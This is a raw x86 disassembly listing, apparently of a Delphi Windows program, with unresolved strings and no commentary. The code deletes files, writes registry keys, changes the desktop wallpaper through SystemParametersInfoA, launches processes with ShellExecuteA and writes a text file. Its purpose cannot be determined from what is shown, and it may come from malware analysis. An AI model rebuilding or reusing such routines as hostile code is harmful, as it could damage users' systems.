push 0x5188e8
lea eax, [ebp - 0x11c]
mov edx, 5
call fcn.00404aac
mov eax, dword [ebp - 0x11c]
xor edx, edx
call fcn.00510c30
mov edx, 0x5231d0
lea eax, [ebp - 0x118]
call fcn.00403038
mov edx, 0x518c3c
lea eax, [ebp - 0x118]
mov cl, 3
call fcn.00403008
lea edx, [ebp - 0x118]
lea eax, [ebp - 0x15c]
call fcn.00404990
push dword [ebp - 0x15c]
push dword [0x5231bc]
push 0x518c48
lea eax, [ebp - 0x158]
mov edx, 3
call fcn.00404aac
mov eax, dword [ebp - 0x158]
call fcn.00409664
push 0
lea eax, [ebp - 0x160]
push eax
mov ecx, 0x518c6c
mov edx, 0x518c7c
mov eax, dword [0x523210]
mov ebx, dword [eax]
call dword [ebx]
mov eax, dword [ebp - 0x160]
mov edx, 0x518c90
call fcn.00404b38
je 0x5157e9
lea eax, [ebp - 0x168]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0x168]
push 0x518c9c
push dword [0x5231bc]
push 0x518cb4
lea eax, [ebp - 0x164]
mov edx, 4
call fcn.00404aac
mov eax, dword [ebp - 0x164]
call fcn.00404bec
mov ebx, eax
lea eax, [ebp - 0x16c]
mov edx, ebx
call fcn.00404924
mov eax, dword [ebp - 0x16c]
call fcn.00409514
test al, al
je 0x5155f6
mov dl, 1
mov eax, dword [0x46ed28]
call fcn.0046efdc
mov edi, eax
lea eax, [ebp - 0x170]
mov edx, ebx
call fcn.00404924
mov edx, dword [ebp - 0x170]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x4c]
mov dl, 1
mov eax, dword [0x421b9c]
call fcn.0042810c
mov dword [ebp - 0x38], eax
mov edx, edi
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [ebp - 0x174]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0x174]
mov eax, 0x523088
mov ecx, 0x518cc4
call fcn.00404a38
mov eax, dword [0x523088]
call fcn.00409514
test al, al
je 0x51554d
mov edx, 0x80
mov eax, dword [0x523088]
call fcn.00409548
mov eax, dword [0x523088]
call fcn.00409664
lea eax, [ebp - 0x178]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
lea eax, [ebp - 0x178]
mov edx, 0x518cc4
call fcn.004049f4
mov edx, dword [ebp - 0x178]
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov dl, 1
mov eax, dword [0x435764]
call fcn.00435864
mov dword [0x523224], eax
mov edx, 0x80000001
mov eax, dword [0x523224]
call fcn.00435904
xor ecx, ecx
mov edx, 0x518cec
mov eax, dword [0x523224]
call fcn.0043596c
mov ecx, dword [0x523088]
mov edx, 0x518d0c
mov eax, dword [0x523224]
call fcn.00435ce8
mov ecx, 0x518d20
mov edx, 0x518d2c
mov eax, dword [0x523224]
call fcn.00435ce8
push 2
push 0
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
mov eax, dword [0x523224]
call fcn.004039dc
jmp 0x5156c2
lea eax, [ebp - 0x17c]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
lea eax, [ebp - 0x17c]
mov edx, 0x518d44
call fcn.004049f4
mov eax, dword [ebp - 0x17c]
call fcn.00404bec
mov ebx, eax
lea eax, [ebp - 0x180]
mov edx, ebx
call fcn.00404924
mov eax, dword [ebp - 0x180]
call fcn.00409514
test al, al
je 0x5156c2
mov dl, 1
mov eax, dword [0x435764]
call fcn.00435864
mov dword [0x523224], eax
mov edx, 0x80000001
mov eax, dword [0x523224]
call fcn.00435904
xor ecx, ecx
mov edx, 0x518cec
mov eax, dword [0x523224]
call fcn.0043596c
lea eax, [ebp - 0x184]
mov edx, ebx
call fcn.00404924
mov ecx, dword [ebp - 0x184]
mov edx, 0x518d0c
mov eax, dword [0x523224]
call fcn.00435ce8
mov ecx, 0x518d20
mov edx, 0x518d2c
mov eax, dword [0x523224]
call fcn.00435ce8
push 2
push 0
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
mov eax, dword [0x523224]
call fcn.004039dc
lea eax, [ebp - 0x188]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
lea eax, [ebp - 0x188]
mov edx, 0x518d68
call fcn.004049f4
mov eax, dword [ebp - 0x188]
call fcn.00409514
test al, al
je 0x515786
lea edx, [ebp - 0x190]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0x190]
lea edx, [ebp - 0x18c]
call fcn.00408a40
mov eax, dword [ebp - 0x18c]
mov edx, 0x518d90
call fcn.00404b38
je 0x515768
lea edx, [ebp - 0x198]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0x198]
lea edx, [ebp - 0x194]
call fcn.00408a40
mov eax, dword [ebp - 0x194]
mov edx, 0x518da0
call fcn.00404b38
jne 0x515786
push 1
push 0
push 0
push 0x518da8
push 0x518dd4
mov eax, dword [ebp - 4]
call fcn.0044c258
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0x518de4
call fcn.00409514
test al, al
je 0x5157e9
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0x1a0]
lea edx, [ebp - 0x19c]
call fcn.00408a40
mov eax, dword [ebp - 0x19c]
mov edx, 0x518e18
call fcn.00404b38
jne 0x5157e9
push 1
push 0
push 0
push 0x518e20
push 0x518dd4
mov eax, dword [ebp - 4]
call fcn.0044c258
push eax
call sub.shell32.dll_ShellExecuteA
push 0
lea eax, [ebp - 0x1a4]
push eax
mov ecx, 0x518e54
mov edx, 0x518c7c
mov eax, dword [0x523210]
mov ebx, dword [eax]
call dword [ebx]
mov edx, dword [ebp - 0x1a4]
mov eax, 0x5231a8
call fcn.00404780
push 0
lea eax, [ebp - 0x1a8]
push eax
mov ecx, 0x518e68
mov edx, 0x518c7c
mov eax, dword [0x523210]
mov ebx, dword [eax]
call dword [ebx]
mov edx, dword [ebp - 0x1a8]
mov eax, 0x5231ac
call fcn.00404780
mov dl, 1
mov eax, dword [0x435764]
call fcn.00435864
mov dword [0x523224], eax
mov edx, 0x80000002
mov eax, dword [0x523224]
call fcn.00435904
mov eax, dword [0x5231a8]
mov edx, 0x518e7c
call fcn.00404b38
je 0x51587f
cmp dword [0x5231a8], 0
jne 0x515919
mov eax, dword [0x5231b8]
mov edx, 0x518e88
call fcn.00404b38
jne 0x5158a4
mov eax, 0x5231b4
mov edx, 0x518e9c
call fcn.00404780
jmp 0x515976
mov eax, dword [0x5231b8]
mov edx, 0x518928
call fcn.00404b38
jne 0x5158c9
mov eax, 0x5231b4
mov edx, 0x518eb4
call fcn.00404780
jmp 0x515976
mov eax, dword [0x5231b8]
mov edx, 0x518ec8
call fcn.00404b38
jne 0x5158ee
mov eax, 0x5231b4
mov edx, 0x518ed8
call fcn.00404780
jmp 0x515976
lea edx, [ebp - 0x1ac]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov edx, dword [ebp - 0x1ac]
mov eax, 0x5231b4
mov ecx, 0x518ef0
call fcn.00404a38
jmp 0x515976
mov eax, dword [0x5231a8]
mov edx, 0x518c90
call fcn.00404b38
jne 0x515966
mov cl, 1
mov edx, 0x518f00
mov eax, dword [0x523224]
call fcn.0043596c
test al, al
je 0x515976
lea ecx, [ebp - 0x1b0]
mov edx, 0x518f38
mov eax, dword [0x523224]
call fcn.00435d14
mov edx, dword [ebp - 0x1b0]
mov eax, 0x5231b4
call fcn.00404780
jmp 0x515976
mov eax, 0x5231b4
mov edx, dword [0x5231a8]
call fcn.00404780
mov eax, dword [0x5231ac]
mov edx, 0x518e7c
call fcn.00404b38
je 0x515994
cmp dword [0x5231ac], 0
jne 0x515b3e
mov eax, dword [0x5231b8]
mov edx, 0x518e88
call fcn.00404b38
jne 0x5159b9
mov eax, 0x5231b8
mov edx, 0x518e88
call fcn.00404780
jmp 0x515b86
mov eax, dword [0x5231b8]
mov edx, 0x518ec8
call fcn.00404b38
jne 0x5159de
mov eax, 0x5231b8
mov edx, 0x518f50
call fcn.00404780
jmp 0x515b86
lea edx, [ebp - 0x1b4]
mov eax, 0x518f64
call fcn.00408a40
mov edx, dword [ebp - 0x1b4]
mov eax, dword [0x5231b8]
call fcn.00404b38
jne 0x515a14
mov eax, 0x5231b8
mov edx, 0x518f74
call fcn.00404780
jmp 0x515b86
lea edx, [ebp - 0x1b8]
mov eax, 0x518f84
call fcn.00408a40
mov edx, dword [ebp - 0x1b8]
mov eax, dword [0x5231b8]
call fcn.00404b38
je 0x515a58
lea edx, [ebp - 0x1bc]
mov eax, 0x518f94
call fcn.00408a40
mov edx, dword [ebp - 0x1bc]
mov eax, dword [0x5231b8]
call fcn.00404b38
jne 0x515a6c
mov eax, 0x5231b8
mov edx, 0x518fa4
call fcn.004049f4
jmp 0x515b86
lea edx, [ebp - 0x1c0]
mov eax, 0x518b7c
call fcn.00408a40
mov edx, dword [ebp - 0x1c0]
mov eax, dword [0x5231b8]
call fcn.00404b38
je 0x515ab0
lea edx, [ebp - 0x1c4]
mov eax, 0x518fc0
call fcn.00408a40
mov edx, dword [ebp - 0x1c4]
mov eax, dword [0x5231b8]
call fcn.00404b38
jne 0x515ac4
mov eax, 0x5231b8
mov edx, 0x518fd8
call fcn.00404780
jmp 0x515b86
mov eax, dword [0x5231b8]
mov edx, 0x518ff4
call fcn.00404b38
jne 0x515ae9
mov eax, 0x5231b8
mov edx, 0x519000
call fcn.00404780
jmp 0x515b86
mov eax, dword [0x5231b8]
mov edx, 0x519018
call fcn.00404b38
jne 0x515b0b
mov eax, 0x5231b8
mov edx, 0x519028
call fcn.00404780
jmp 0x515b86
mov eax, dword [0x5231b8]
mov edx, 0x518928
call fcn.00404b38
jne 0x515b2d
mov eax, 0x5231b8
mov edx, 0x51904c
call fcn.00404780
jmp 0x515b86
mov eax, 0x5231b8
mov edx, 0x51906c
call fcn.004049f4
jmp 0x515b86
mov eax, dword [0x5231ac]
mov edx, 0x518c90
call fcn.00404b38
jne 0x515b76
lea ecx, [ebp - 0x1c8]
mov edx, 0x519088
mov eax, dword [0x523224]
call fcn.00435d14
mov edx, dword [ebp - 0x1c8]
mov eax, 0x5231b8
call fcn.00404780
jmp 0x515b86
mov eax, 0x5231b8
mov edx, dword [0x5231ac]
call fcn.00404780
mov eax, dword [0x523224]
call fcn.004358d4
mov eax, dword [0x523224]
call fcn.004039dc
mov dl, 1
mov eax, dword [0x41717c]
call fcn.004039ac
mov dword [esi], eax
mov edx, 0x51854c
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5190a8
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5190f4
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x519104
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51911c
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5190f4
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x519174
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5191d8
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5191f0
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x518614
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x519204
push dword [0x5231b8]
push 0x519228
lea eax, [ebp - 0x1cc]
mov edx, 3
call fcn.00404aac
mov edx, dword [ebp - 0x1cc]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x519234
push dword [0x5231b4]
push 0x519228
lea eax, [ebp - 0x1d0]
mov edx, 3
call fcn.00404aac
mov edx, dword [ebp - 0x1d0]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5231d0
lea eax, [ebp - 0x5c]
call fcn.00403038
mov edx, 0x518718
lea eax, [ebp - 0x5c]
mov cl, 0xa
call fcn.00403008
lea edx, [ebp - 0x5c]
lea eax, [ebp - 0x1d4]
call fcn.00404990
mov edx, dword [ebp - 0x1d4]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x74]
lea eax, [ebp - 0x1dc]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0x1dc]
push 0x51872c
lea eax, [ebp - 0x1e0]
mov edx, 0x5231d0
call fcn.00404990
push dword [ebp - 0x1e0]
push 0x518744
lea eax, [ebp - 0x1d8]
mov edx, 4
call fcn.00404aac
mov eax, dword [ebp - 0x1d8]
xor edx, edx
call fcn.00510c30
mov edx, 0x5231d0
lea eax, [ebp - 0x5c]
call fcn.00403038
mov edx, 0x518718
lea eax, [ebp - 0x5c]
mov cl, 0xa
call fcn.00403008
lea edx, [ebp - 0x5c]
lea eax, [ebp - 0x1e4]
call fcn.00404990
mov eax, dword [ebp - 0x1e4]
call fcn.00409664
mov eax, dword [esi]
call fcn.004039dc
lea edx, [ebp - 0x1ec]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0x1ec]
lea edx, [ebp - 0x1e8]
call fcn.00408a40
mov eax, dword [ebp - 0x1e8]
mov edx, 0x518d90
call fcn.00404b38
je 0x515db3
lea edx, [ebp - 0x1f4]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0x1f4]
lea edx, [ebp - 0x1f0]
call fcn.00408a40
mov eax, dword [ebp - 0x1f0]
mov edx, 0x518da0
call fcn.00404b38
jne 0x515e10
lea eax, [ebp - 0x1fc]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0x1fc]
push 0x51872c
lea eax, [ebp - 0x200]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0x200]
push 0x519250
lea eax, [ebp - 0x1f8]
mov edx, 4
call fcn.00404aac
mov eax, dword [ebp - 0x1f8]
xor edx, edx
call fcn.00510c30
lea edx, [ebp - 0x208]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0x208]
lea edx, [ebp - 0x204]
call fcn.00408a40
mov eax, dword [ebp - 0x204]
mov edx, 0x519270
call fcn.00404b38
jne 0x516463
push 0x519280
lea eax, [ebp - 0x210]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0x210]
push 0x5192cc
lea eax, [ebp - 0x20c]
mov edx, 3
call fcn.00404aac
mov eax, dword [ebp - 0x20c]
xor edx, edx
call fcn.00510c30
jmp 0x516463
push 0x5188f4
push dword [0x5231c8]
push 0x5192e4
lea eax, [ebp - 0x218]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0x218]
push 0x5188e8
lea eax, [ebp - 0x214]
mov edx, 5
call fcn.00404aac
mov eax, dword [ebp - 0x214]
xor edx, edx
call fcn.00510c30
push 0x5192f8
lea eax, [ebp - 0x220]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0x220]
push 0x5188e8
lea eax, [ebp - 0x21c]
mov edx, 3
call fcn.00404aac
mov eax, dword [ebp - 0x21c]
xor edx, edx
call fcn.00510c30
push 0
lea eax, [ebp - 0x224]
push eax
mov ecx, 0x518e54
mov edx, 0x518c7c
mov eax, dword [0x523210]
mov ebx, dword [eax]
call dword [ebx]
mov edx, dword [ebp - 0x224]
mov eax, 0x5231a8
call fcn.00404780
push 0
lea eax, [ebp - 0x228]
push eax
mov ecx, 0x518e68
mov edx, 0x518c7c
mov eax, dword [0x523210]
mov ebx, dword [eax]
call dword [ebx]
mov edx, dword [ebp - 0x228]
mov eax, 0x5231ac
call fcn.00404780
mov dl, 1
mov eax, dword [0x435764]
call fcn.00435864
mov dword [0x523224], eax
mov edx, 0x80000002
mov eax, dword [0x523224]
call fcn.00435904
mov eax, dword [0x5231a8]
mov edx, 0x518e7c
call fcn.00404b38
je 0x515fc4
cmp dword [0x5231a8], 0
je 0x515fc4
mov eax, dword [0x5231a8]
mov edx, 0x518c90
call fcn.00404b38
jne 0x516000
mov cl, 1
mov edx, 0x518f00
mov eax, dword [0x523224]
call fcn.0043596c
test al, al
je 0x516010
lea ecx, [ebp - 0x22c]
mov edx, 0x518f38
mov eax, dword [0x523224]
call fcn.00435d14
mov edx, dword [ebp - 0x22c]
mov eax, 0x5231b4
call fcn.00404780
jmp 0x516010
mov eax, 0x5231b4
mov edx, dword [0x5231a8]
call fcn.00404780
mov eax, dword [0x5231ac]
mov edx, 0x518e7c
call fcn.00404b38
je 0x51603b
cmp dword [0x5231ac], 0
je 0x51603b
mov eax, dword [0x5231ac]
mov edx, 0x518c90
call fcn.00404b38
jne 0x516062
lea ecx, [ebp - 0x230]
mov edx, 0x519088
mov eax, dword [0x523224]
call fcn.00435d14
mov edx, dword [ebp - 0x230]
mov eax, 0x5231b8
call fcn.00404780
jmp 0x516072
mov eax, 0x5231b8
mov edx, dword [0x5231ac]
call fcn.00404780
mov eax, dword [0x523224]
call fcn.004358d4
mov eax, dword [0x523224]
call fcn.004039dc
mov dl, 1
mov eax, dword [0x41717c]
call fcn.004039ac
mov dword [esi], eax
mov edx, 0x51854c
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5190a8
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5190f4
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x519104
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51911c
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5190f4
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x519174
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5191d8
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5191f0
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x518614
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x519204
push dword [0x5231b8]
push 0x519228
lea eax, [ebp - 0x234]
mov edx, 3
call fcn.00404aac
mov edx, dword [ebp - 0x234]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x519234
push dword [0x5231b4]
push 0x519228
lea eax, [ebp - 0x238]
mov edx, 3
call fcn.00404aac
mov edx, dword [ebp - 0x238]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5231d0
lea eax, [ebp - 0x5c]
call fcn.00403038
mov edx, 0x518718
lea eax, [ebp - 0x5c]
mov cl, 0xa
call fcn.00403008
lea edx, [ebp - 0x5c]
lea eax, [ebp - 0x23c]
call fcn.00404990
mov edx, dword [ebp - 0x23c]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x74]
lea eax, [ebp - 0x244]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0x244]
push 0x51872c
lea eax, [ebp - 0x248]
mov edx, 0x5231d0
call fcn.00404990
push dword [ebp - 0x248]
push 0x518744
lea eax, [ebp - 0x240]
mov edx, 4
call fcn.00404aac
mov eax, dword [ebp - 0x240]
xor edx, edx
call fcn.00510c30
mov edx, 0x5231d0
lea eax, [ebp - 0x5c]
call fcn.00403038
mov edx, 0x518718
lea eax, [ebp - 0x5c]
mov cl, 0xa
call fcn.00403008
lea edx, [ebp - 0x5c]
lea eax, [ebp - 0x24c]
call fcn.00404990
mov eax, dword [ebp - 0x24c]
call fcn.00409664
mov eax, dword [esi]
call fcn.004039dc
lea eax, [ebp - 0x250]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0x250]
mov eax, 0x523088
mov ecx, 0x518bc4
call fcn.00404a38
lea eax, [ebp - 0x254]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0x254]
mov eax, 0x523090
mov ecx, 0x518be4
call fcn.00404a38
mov eax, dword [0x523088]
call fcn.00409514
test al, al
je 0x5162ac
mov edx, 0x80
mov eax, dword [0x523088]
call fcn.00409548
mov eax, dword [0x523088]
call fcn.00409664
mov eax, dword [0x523090]
call fcn.00409514
test al, al
je 0x5162d3
mov edx, 0x80
mov eax, dword [0x523090]
call fcn.00409548
mov eax, dword [0x523090]
call fcn.00409664
mov edx, 0x519320
lea eax, [ebp - 0x28c]
call fcn.00403038
mov edx, 0x5231d0
lea eax, [ebp - 0x28c]
mov cl, 0x31
call fcn.00403008
lea edx, [ebp - 0x28c]
lea eax, [ebp - 0x2c0]
call fcn.00403038
mov edx, 0x518c3c
lea eax, [ebp - 0x2c0]
mov cl, 0x32
call fcn.00403008
lea edx, [ebp - 0x2c0]
lea eax, [ebp - 0x258]
call fcn.00404990
mov eax, dword [ebp - 0x258]
xor edx, edx
call fcn.00510c30
mov edx, 0x5231d0
lea eax, [ebp - 0x2d0]
call fcn.00403038
mov edx, 0x519350
lea eax, [ebp - 0x2d0]
mov cl, 9
call fcn.00403008
lea edx, [ebp - 0x2d0]
lea eax, [ebp - 0x2c4]
call fcn.00404990
mov eax, dword [ebp - 0x2c4]
call fcn.00409514
test al, al
je 0x516463
mov edx, 0x518c4c
lea eax, [ebp - 0x138]
call fcn.00403038
mov edx, 0x5231d0
lea eax, [ebp - 0x138]
mov cl, 0x16
call fcn.00403008
lea edx, [ebp - 0x138]
lea eax, [ebp - 0x2f8]
call fcn.00403038
mov edx, 0x519358
lea eax, [ebp - 0x2f8]
mov cl, 0x20
call fcn.00403008
lea edx, [ebp - 0x2f8]
lea eax, [ebp - 0x31c]
call fcn.00403038
mov edx, 0x5231d0
lea eax, [ebp - 0x31c]
mov cl, 0x22
call fcn.00403008
lea edx, [ebp - 0x31c]
lea eax, [ebp - 0x348]
call fcn.00403038
mov edx, 0x519364
lea eax, [ebp - 0x348]
mov cl, 0x2a
call fcn.00403008
lea edx, [ebp - 0x348]
lea eax, [ebp - 0x2d4]
call fcn.00404990
mov eax, dword [ebp - 0x2d4]
xor edx, edx
call fcn.00510c30
mov edx, 0x5231d0
lea eax, [ebp - 0x2d0]
call fcn.00403038
mov edx, 0x519350
lea eax, [ebp - 0x2d0]
mov cl, 9
call fcn.00403008
lea edx, [ebp - 0x2d0]
lea eax, [ebp - 0x34c]
call fcn.00404990
mov eax, dword [ebp - 0x34c]
call fcn.00409664
mov eax, dword [ebp - 4]
call fcn.0050fd20
cmp byte [0x52320c], 0
jne 0x5164d0
xor ecx, ecx
mov dl, 1
mov eax, 0x1388
call fcn.0050f698
push 0x519378
lea edx, [ebp - 0x354]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
push dword [ebp - 0x354]
push 0x51939c
push 0x5193ac
push 0x5193ac
push 0x5193b8
lea eax, [ebp - 0x350]
mov edx, 6
call fcn.00404aac
mov eax, dword [ebp - 0x350]
call fcn.0042e924
mov eax, dword [0x52105c]
mov eax, dword [eax]
call fcn.00466758
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51667e
lea eax, [ebp - 0x354]
call fcn.0040472c
lea eax, [ebp - 0x350]
mov edx, 2
call fcn.00404750
lea eax, [ebp - 0x2d4]
call fcn.0040472c
lea eax, [ebp - 0x2c4]
call fcn.0040472c
lea eax, [ebp - 0x258]
mov edx, 0x14
call fcn.00404750
lea eax, [ebp - 0x208]
call fcn.0040472c
lea eax, [ebp - 0x204]
mov edx, 4
call fcn.00404750
lea eax, [ebp - 0x1f4]
call fcn.0040472c
lea eax, [ebp - 0x1f0]
call fcn.0040472c
lea eax, [ebp - 0x1ec]
call fcn.0040472c
lea eax, [ebp - 0x1e8]
mov edx, 0xf
call fcn.00404750
lea eax, [ebp - 0x1ac]
call fcn.0040472c
lea eax, [ebp - 0x1a8]
mov edx, 2
call fcn.00404750
lea eax, [ebp - 0x1a0]
call fcn.0040472c
lea eax, [ebp - 0x19c]
call fcn.0040472c
lea eax, [ebp - 0x198]
call fcn.0040472c
lea eax, [ebp - 0x194]
call fcn.0040472c
lea eax, [ebp - 0x190]
call fcn.0040472c
lea eax, [ebp - 0x18c]
mov edx, 0xf
call fcn.00404750
lea eax, [ebp - 0x120]
mov edx, 2
call fcn.00404750
lea eax, [ebp - 0x114]
mov edx, 0x12
call fcn.00404750
lea eax, [ebp - 0xcc]
call fcn.0040472c
lea eax, [ebp - 0xc8]
call fcn.0040472c
lea eax, [ebp - 0xc4]
mov edx, 2
call fcn.00404750
lea eax, [ebp - 0xbc]
mov edx, 5
call fcn.00404750
lea eax, [ebp - 0xa8]
call fcn.0040472c
lea eax, [ebp - 0xa4]
mov edx, 0x12
call fcn.00404750
lea eax, [ebp - 0x50]
call fcn.0040472c
lea eax, [ebp - 0x4c]
call fcn.0040472c
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00404750
lea eax, [ebp - 0x34]
mov edx, 0xc
call fcn.00404750
ret